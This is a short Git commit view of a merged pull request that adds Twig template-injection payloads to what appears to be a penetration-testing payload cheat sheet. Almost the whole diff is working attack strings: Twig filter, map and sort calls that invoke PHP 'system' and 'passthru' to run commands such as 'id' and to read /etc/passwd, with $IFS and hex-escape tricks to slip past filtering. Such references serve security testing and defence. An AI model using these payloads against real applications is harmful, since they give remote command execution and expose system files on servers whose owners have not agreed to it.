Merge pull request #639 from TomWilford/master

Added Twig 'passthru' filter exploits
This commit is contained in:
Swissky 2023-04-28 16:24:20 +02:00 committed by GitHub
commit 55df53105e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -966,6 +966,8 @@ $output = $twig > render (
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
```
Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)